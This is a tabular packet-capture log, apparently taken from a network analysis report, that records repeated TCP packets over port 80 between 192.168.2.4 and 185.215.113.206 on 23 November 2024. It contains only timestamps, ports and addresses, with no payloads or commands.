Nov 23, 2024 17:44:37.875107050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.875109911 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.875124931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.875148058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.875159025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.875211000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.875258923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.876044989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.876091003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.876149893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.876194954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.944274902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944294930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944302082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944327116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944535971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.944648981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944668055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944679022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.944701910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.944730043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.945255041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.945285082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.945296049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.945311069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.945333004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.945384026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.945425034 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.946160078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.946186066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.946197987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.946206093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.946229935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.946285009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.946327925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.947056055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.947112083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.947117090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.947124004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.947149992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.947165012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.947191000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.947228909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948095083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948137999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948139906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948149920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948174953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948187113 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948225975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948265076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948884010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948930979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948932886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948942900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.948968887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.948981047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.949008942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.949048996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.949801922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.949836969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.949847937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.949856997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.949868917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.949887991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.949959040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.950005054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.950726032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.950758934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.950771093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.950773954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.950794935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.950808048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.950859070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.950896025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.951638937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.951682091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.951683998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.951694965 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.951719999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.951721907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.951740026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.951751947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.952558041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.952604055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.952605009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.952620029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.952642918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.952653885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.952689886 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.952732086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.953479052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.953516960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.953526974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.953527927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.953550100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.953562975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.953605890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.953644991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.015966892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016015053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.016053915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016066074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016092062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.016117096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.016227007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016256094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016272068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016279936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.016305923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.016360998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.016398907 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.017071962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.017113924 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068361044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068404913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068456888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068470001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068501949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068559885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068599939 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068734884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068778992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068783045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068794966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068825006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.068896055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.068934917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.069653988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.069686890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.069696903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.069699049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.069727898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.069730043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.069760084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.069760084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.070596933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.070641041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.070656061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.070667028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.070688009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.070708990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.070753098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.070796013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.071578026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.071625948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.071639061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.071656942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.071667910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.071680069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.071687937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.071712017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.072431087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.072465897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.072474003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.072478056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.072495937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.072504997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.072524071 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.072535038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.073348999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.073385000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.073390961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.073398113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.073436975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.073488951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.073532104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.074261904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.074301004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.074312925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.074321032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.074347973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.074436903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.074476004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.075192928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.075233936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.075242043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.075253963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.075274944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.075294018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.075376034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.075414896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.076086044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.076129913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.076133013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.076145887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.076170921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.076184988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.076252937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.076291084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077019930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077061892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077063084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077073097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077099085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077110052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077168941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077208996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077903986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077945948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.077948093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077960968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.077991009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.078046083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.078088999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.078838110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.078883886 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.078886032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.078896046 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.078926086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.079010963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.079051971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.079858065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.079895973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.079901934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.079938889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.171978951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.171997070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172008038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172014952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172090054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172118902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.172162056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172163963 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.172174931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172204971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.172219992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.172280073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.172321081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.173037052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173089981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173090935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.173100948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173125029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.173134089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.173177958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173217058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.173949957 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173975945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173990011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.173994064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174015999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174022913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174087048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.174129009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174858093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.174901009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.174904108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174912930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.174941063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174953938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.174988985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.175028086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.175817966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.175863028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.175868034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.175879955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.175904989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.175916910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.175961971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.176002026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.176872969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.176898003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.176909924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.176938057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.176954031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.176978111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.177016973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.177709103 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.177750111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.177753925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.177767038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.177791119 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.177803993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.177886963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.177926064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.178716898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.178735018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.178745985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.178757906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.178771019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.178781986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.178915024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.178953886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.179523945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.179543018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.179554939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.179567099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.179578066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.179596901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.179617882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.179656982 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.180380106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.180419922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.180427074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.180438995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.180466890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.180479050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.180526972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.180567026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.181307077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.181350946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.181353092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.181364059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.181389093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.181401014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218076944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218141079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218167067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218169928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218190908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218206882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218328953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218369961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218539000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218564034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218575001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.218590021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.218609095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.272275925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272347927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.272540092 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272551060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272562027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272578001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272588968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.272594929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.272608042 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.272641897 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.273211002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.273263931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.273264885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.273277998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.273303986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.273314953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.273385048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.273431063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274116993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274151087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274159908 CET	49745	80	192.168.2.4	185.215.113.206
